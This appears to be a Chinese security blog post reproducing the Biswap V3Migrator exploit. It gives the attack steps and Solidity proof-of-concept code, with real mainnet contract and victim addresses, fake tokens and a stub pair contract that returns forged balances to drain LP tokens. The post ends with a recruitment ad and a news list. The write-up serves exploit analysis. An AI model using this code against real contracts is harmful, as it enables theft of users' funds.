Biswap攻击复现
简要的攻击流程
第一次调用migrate函数,输入真的pair合约和假的token,mint地址是受害者。 transferFrom函数将受害者LPtoken发到升级合约中。 销毁LPtoken,获取两种代币。 调用mint,铸造假的LPtoken给受害者。 第二次调用migrate函数,输入伪造的pair合约和真的token,mint地址是自己的地址。 调用假的pair合约的transferFrom和burn函数不做任何操作,其中burn函数需要返回转移合约中两种代币的数量。 向自己的地址mint真的LP。
具体实现
编写假的token合约:
contract fakeToken is ERC20 {
constructor() ERC20("fake", "fake") {
_mint(msg.sender, 10e10 ether);
}
}
初始化v3Migrator、bsw-wbnb交易对,manager,biswapFactory合约,创建两个假token合约:
IV3Migrator public v3Migrator = IV3Migrator(0x839b0AFD0a0528ea184448E890cbaAFFD99C1dbf);
IBiswapPair public pair = IBiswapPair(0x46492B26639Df0cda9b2769429845cb991591E0A);
ILiquidityManager public manager = ILiquidityManager(0x24Ba8d2A15Fe60618039c398Cf9FD093b1C1FEB5);
IBiswapFactoryV3 factory = IBiswapFactoryV3(0x7C3d53606f9c03e7f54abdDFFc3868E1C5466863);
address public victim = 0x2978D920a1655abAA315BAd5Baf48A2d89792618;
address public bsw = 0x965F527D9159dCe6288a2219DB51fc6Eef120dD1;
address public wbnb = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
address public fakeToken0 = address(new fakeToken());
address public fakeToken1 = address(new fakeToken());
在创建交易对时会判断代币地址的相对大小,所以要先调整一下两种代币的顺序:
···
if (fakeToken0 > fakeToken1) {
(fakeToken1, fakeToken0) = (fakeToken0, fakeToken1);
}
获取bsw-wbnb交易对中受害者对转移合约的授权:
uint256 allowance = pair.allowance(victim, address(v3Migrator));
提前将两种假token发送到转移合约:
IERC20(fakeToken0).transfer(address(v3Migrator), 10e10 ether);
IERC20(fakeToken1).transfer(address(v3Migrator), 10e10 ether);
创建两种假token的交易对:
factory.newPool(fakeToken0, fakeToken1, 150 ,1);
第一次调用migrate函数:
IV3Migrator.MigrateParams memory params =
IV3Migrator.MigrateParams(
address(pair),
allowance,
fakeToken0,
fakeToken1,
150,
10000,
20000,
0,
0,
victim,
1688126472,
false
);
v3Migrator.migrate(params);
交易对为真实的bsw-wbnb pair,要转移的流动性为受害者地址对转移合约的授权,两种代币为假的token,其余参数也与实际攻击一致。
第二次调用migrate函数:
IV3Migrator.MigrateParams memory params1 =
IV3Migrator.MigrateParams(
address(this),
allowance,
bsw,
wbnb,
150,
10000,
20000,
0,
0,
address(this),
1688126472,
false
);
v3Migrator.migrate(params1);
这时的pair为攻击合约本身,所以攻击合约要实现transferFrom和burn函数:
function transferFrom(address from, address to, uint value) external returns (bool){
return true;
}
transferFrom直接返回true即可。
function burn(address to) external returns (uint amount0, uint amount1) {
uint256 bswBalance = IERC20(bsw).balanceOf(address(v3Migrator));
uint256 wbnb1Balance = IERC20(wbnb).balanceOf(address(v3Migrator));
return (bswBalance, wbnb1Balance);
}
burn函数返回两种真实代币在转移合约中的余额。
在第二次调用之后,攻击合约应该获取到一个LP和相应数量的两种的代币。
测试
代码
https://github.com/wangbar0133/biswap_poc
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
欢迎联系admin@chamd5.org
关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 习近平拉美之行的三个“一” 7997608
- 2 微信或史诗级“瘦身” 内存有救了 7988520
- 3 男子求助如何打开亡父遗留14年手机 7871214
- 4 中国主张成为G20峰会的一抹亮色 7763967
- 5 中国对日本等国试行免签 7675964
- 6 7万余件儿童羽绒服里没有真羽绒 7506043
- 7 女生半裸遭男保洁刷卡闯入 酒店回应 7428407
- 8 70多辆小米SU7同一天撞墙撞柱 7346199
- 9 操纵股价 2人被证监会罚没近3.35亿 7296653
- 10 千年古镇“因网而变、因数而兴” 7188056